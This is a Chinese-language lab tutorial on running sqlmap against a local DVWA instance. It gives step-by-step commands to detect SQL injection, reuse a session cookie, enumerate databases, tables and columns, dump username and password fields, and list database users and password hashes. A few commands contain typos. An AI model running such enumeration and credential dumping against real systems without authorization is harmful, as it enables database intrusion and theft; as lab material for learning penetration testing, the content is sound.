SQLMAP的使用详情
这里对dvwa 进行测试
1.安装sqlmap
由于sqlmap不支持python3,所以在安装之前需要安装Python2,这里使用的是python2.7.14。在官网下载安装包一键安装,安装完成以后紧接着安装sqlmap,这里是直接从机房拷贝的压缩包,解压以后复制到python2的安装目录并重命名为sqlmap
2.设置环境变量
我们打开主机的cmd,发现,运行python,发现并未显示python,可是我们已经安装过了python,这时候就需要修改环境变量,打开此电脑的属性,点击高级系统设置,修改环境变量,找到PATH,添加一个环境变量C:\Python27,一路确认下去
这里我们验证一下python2是否可以使用
重新打开一个cmd,进入sqlmap的根目录,运行sqlmao,检测是否安装成功,还有一种方法就是创建cmd快捷方式。
3.判断是否存在注入
打开dvwa,将安全等级设置为low,利用sql injection判断是否存在注入,url为
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
python sqlmap.py -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
当注入后面的参数多个时,需要使用双引号,为方便起见,我们选择使用双引号
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
结果是跳转到登录页面,我们带上cookie试试。获取cooikie我们这里使用burpsuite拦截包的方法
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=b0pv2j0s6akdrtd097q8puiiop"
4.查询当前用户下的所有数据库
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --dbs
或者使用另外一种方法:
将burpsuite抓到的包复制放到文档里面,更名为sqlmap,直接将sqlmap托到cmd命令行中运行。
python sqlmap.py -r C:\Users\TL\Desktop\sqlmap --dbs
此方法不仅适用于此,以下情景亦可使用
5.获取sys数据库中的表名
python sqlmap.py -r C:\Users\TL\Desktop\sqlmap -D sys --tables
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=b0pv2j0s6akdrtd097q8puiiop" -D sys --tables
6.获取sys_config中的字段名
python sqlmap.py -r C:\Users\TL\Desktop\sqlmap -D sys -T sys_config --columns
7.获取字段内容
python sqlmap.py -r C:\Users\TL\Desktop\sqlmap -D sys -T sys_config -C username,password --dump
8.获取数据库的所有用户及用户的密码
python sqlmap.py -r C:\Users\TL\Desktop\sqlmap --users
python sqlmap.py -r C:\Users\TL\Desktop\sqlmap --passwords
9.获取当前网站数据库名称及用户名称
若为网站想获取网站数据库名称及用户名称可以用此方法
python sqlmap,py -r C:\Users\TL\Desktop\sqlmap --current-db
python sqlmap,py -r C:\Users\TL\Desktop\sqlmap --current-user
10.判断当前用户是否为管理权限 (–is-dba)
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --isidba
11.探测等级 (–level 5)
共有五个等级,不加level时默认为1
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --level 5